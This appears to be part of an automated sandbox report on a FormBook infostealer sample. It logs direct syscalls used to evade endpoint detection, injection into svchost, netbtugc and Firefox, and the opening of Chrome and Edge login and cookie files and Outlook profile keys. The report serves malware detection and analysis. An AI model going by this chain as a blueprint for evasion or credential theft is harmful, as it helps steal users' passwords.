Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_02F3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F649D0 mov eax, dword ptr fs:[00000030h]	2_2_02F649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFA9D3 mov eax, dword ptr fs:[00000030h]	2_2_02FFA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC69C0 mov eax, dword ptr fs:[00000030h]	2_2_02FC69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB89B3 mov esi, dword ptr fs:[00000030h]	2_2_02FB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB89B3 mov eax, dword ptr fs:[00000030h]	2_2_02FB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB89B3 mov eax, dword ptr fs:[00000030h]	2_2_02FB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F429A0 mov eax, dword ptr fs:[00000030h]	2_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F429A0 mov eax, dword ptr fs:[00000030h]	2_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F429A0 mov eax, dword ptr fs:[00000030h]	2_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F429A0 mov eax, dword ptr fs:[00000030h]	2_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F429A0 mov eax, dword ptr fs:[00000030h]	2_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F429A0 mov eax, dword ptr fs:[00000030h]	2_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F429A0 mov eax, dword ptr fs:[00000030h]	2_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F429A0 mov eax, dword ptr fs:[00000030h]	2_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F429A0 mov eax, dword ptr fs:[00000030h]	2_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F429A0 mov eax, dword ptr fs:[00000030h]	2_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F429A0 mov eax, dword ptr fs:[00000030h]	2_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F429A0 mov eax, dword ptr fs:[00000030h]	2_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F429A0 mov eax, dword ptr fs:[00000030h]	2_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F309AD mov eax, dword ptr fs:[00000030h]	2_2_02F309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F309AD mov eax, dword ptr fs:[00000030h]	2_2_02F309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FD4978 mov eax, dword ptr fs:[00000030h]	2_2_02FD4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FD4978 mov eax, dword ptr fs:[00000030h]	2_2_02FD4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FBC97C mov eax, dword ptr fs:[00000030h]	2_2_02FBC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F56962 mov eax, dword ptr fs:[00000030h]	2_2_02F56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F56962 mov eax, dword ptr fs:[00000030h]	2_2_02F56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F56962 mov eax, dword ptr fs:[00000030h]	2_2_02F56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F7096E mov eax, dword ptr fs:[00000030h]	2_2_02F7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F7096E mov edx, dword ptr fs:[00000030h]	2_2_02F7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F7096E mov eax, dword ptr fs:[00000030h]	2_2_02F7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB0946 mov eax, dword ptr fs:[00000030h]	2_2_02FB0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB892A mov eax, dword ptr fs:[00000030h]	2_2_02FB892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC892B mov eax, dword ptr fs:[00000030h]	2_2_02FC892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FBC912 mov eax, dword ptr fs:[00000030h]	2_2_02FBC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F28918 mov eax, dword ptr fs:[00000030h]	2_2_02F28918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F28918 mov eax, dword ptr fs:[00000030h]	2_2_02F28918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAE908 mov eax, dword ptr fs:[00000030h]	2_2_02FAE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAE908 mov eax, dword ptr fs:[00000030h]	2_2_02FAE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F68EF5 mov eax, dword ptr fs:[00000030h]	2_2_02F68EF5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F36EE0 mov eax, dword ptr fs:[00000030h]	2_2_02F36EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F36EE0 mov eax, dword ptr fs:[00000030h]	2_2_02F36EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F36EE0 mov eax, dword ptr fs:[00000030h]	2_2_02F36EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F36EE0 mov eax, dword ptr fs:[00000030h]	2_2_02F36EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FE6ED0 mov ecx, dword ptr fs:[00000030h]	2_2_02FE6ED0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FCAEB0 mov eax, dword ptr fs:[00000030h]	2_2_02FCAEB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FCAEB0 mov eax, dword ptr fs:[00000030h]	2_2_02FCAEB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FBCEA0 mov eax, dword ptr fs:[00000030h]	2_2_02FBCEA0

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_00730B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

0_2_00730B62

Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_00702622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00702622
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_006F083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_006F083F
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_006F09D5 SetUnhandledExceptionFilter,	0_2_006F09D5
Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_006F0C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_006F0C21

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtResumeThread: Direct from: 0x773836AC	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtMapViewOfSection: Direct from: 0x77382D1C	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtWriteVirtualMemory: Direct from: 0x77382E3C	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtProtectVirtualMemory: Direct from: 0x77382F9C	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtSetInformationThread: Direct from: 0x773763F9	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtCreateMutant: Direct from: 0x773835CC	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtNotifyChangeKey: Direct from: 0x77383C2C	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtSetInformationProcess: Direct from: 0x77382C5C	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtCreateUserProcess: Direct from: 0x7738371C	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtQueryInformationProcess: Direct from: 0x77382C26	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtResumeThread: Direct from: 0x77382FBC	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtWriteVirtualMemory: Direct from: 0x7738490C	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtAllocateVirtualMemory: Direct from: 0x77383C9C	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtReadFile: Direct from: 0x77382ADC	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtAllocateVirtualMemory: Direct from: 0x77382BFC	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtDelayExecution: Direct from: 0x77382DDC	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtQuerySystemInformation: Direct from: 0x77382DFC	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtOpenSection: Direct from: 0x77382E0C	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtQueryVolumeInformationFile: Direct from: 0x77382F2C	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtQuerySystemInformation: Direct from: 0x773848CC	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtReadVirtualMemory: Direct from: 0x77382E8C	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtCreateKey: Direct from: 0x77382C6C	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtClose: Direct from: 0x77382B6C
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtAllocateVirtualMemory: Direct from: 0x773848EC	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtQueryAttributesFile: Direct from: 0x77382E6C	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtSetInformationThread: Direct from: 0x77382B4C	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtTerminateThread: Direct from: 0x77382FCC	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtQueryInformationToken: Direct from: 0x77382CAC	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtOpenKeyEx: Direct from: 0x77382B9C	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtAllocateVirtualMemory: Direct from: 0x77382BEC	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtDeviceIoControlFile: Direct from: 0x77382AEC	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtCreateFile: Direct from: 0x77382FEC	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtOpenFile: Direct from: 0x77382DCC	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	NtProtectVirtualMemory: Direct from: 0x77377B2E	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\netbtugc.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: NULL target: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: NULL target: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\netbtugc.exe

Thread register set: target process: 3536

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\netbtugc.exe

Thread APC queued: target process: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 2231008

Jump to behavior

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

0_2_00731201

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_00712BA5 SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00712BA5

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_0073B226 SendInput,keybd_event,

0_2_0073B226

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_007522DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

0_2_007522DA

Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\QLLafoDdqv.exe"	Jump to behavior
Source: C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe	Process created: C:\Windows\SysWOW64\netbtugc.exe "C:\Windows\SysWOW64\netbtugc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

0_2_00730B62

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_00731663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00731663

Source: QLLafoDdqv.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: WOaBXdWwIJKzuV.exe, 00000003.00000000.2196131693.0000000001930000.00000002.00000001.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000003.00000002.4571525202.0000000001930000.00000002.00000001.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4574449096.0000000001800000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: IProgram Manager
Source: QLLafoDdqv.exe, WOaBXdWwIJKzuV.exe, 00000003.00000000.2196131693.0000000001930000.00000002.00000001.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000003.00000002.4571525202.0000000001930000.00000002.00000001.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4574449096.0000000001800000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: WOaBXdWwIJKzuV.exe, 00000003.00000000.2196131693.0000000001930000.00000002.00000001.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000003.00000002.4571525202.0000000001930000.00000002.00000001.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4574449096.0000000001800000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: WOaBXdWwIJKzuV.exe, 00000003.00000000.2196131693.0000000001930000.00000002.00000001.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000003.00000002.4571525202.0000000001930000.00000002.00000001.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4574449096.0000000001800000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_006F0698 cpuid

0_2_006F0698

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_00748195 GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,

0_2_00748195

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_0072D27A GetUserNameW,

0_2_0072D27A

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_0070B952 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

0_2_0070B952

Source: C:\Users\user\Desktop\QLLafoDdqv.exe

Code function: 0_2_006D42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_006D42DE

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 2.2.svchost.exe.24d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.24d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4564773775.0000000002530000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4581093569.00000000055C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4574527555.0000000002BF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2270118769.0000000002E80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2269837439.00000000024D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4574542638.0000000002F30000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4575593241.0000000002C30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2270555889.0000000003350000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\netbtugc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\netbtugc.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Source: QLLafoDdqv.exe	Binary or memory string: WIN_81
Source: QLLafoDdqv.exe	Binary or memory string: WIN_XP
Source: QLLafoDdqv.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: QLLafoDdqv.exe	Binary or memory string: WIN_XPe
Source: QLLafoDdqv.exe	Binary or memory string: WIN_VISTA
Source: QLLafoDdqv.exe	Binary or memory string: WIN_7
Source: QLLafoDdqv.exe	Binary or memory string: WIN_8

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 2.2.svchost.exe.24d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.24d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4564773775.0000000002530000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4581093569.00000000055C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4574527555.0000000002BF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2270118769.0000000002E80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2269837439.00000000024D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4574542638.0000000002F30000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4575593241.0000000002C30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2270555889.0000000003350000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_00751204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		0_2_00751204
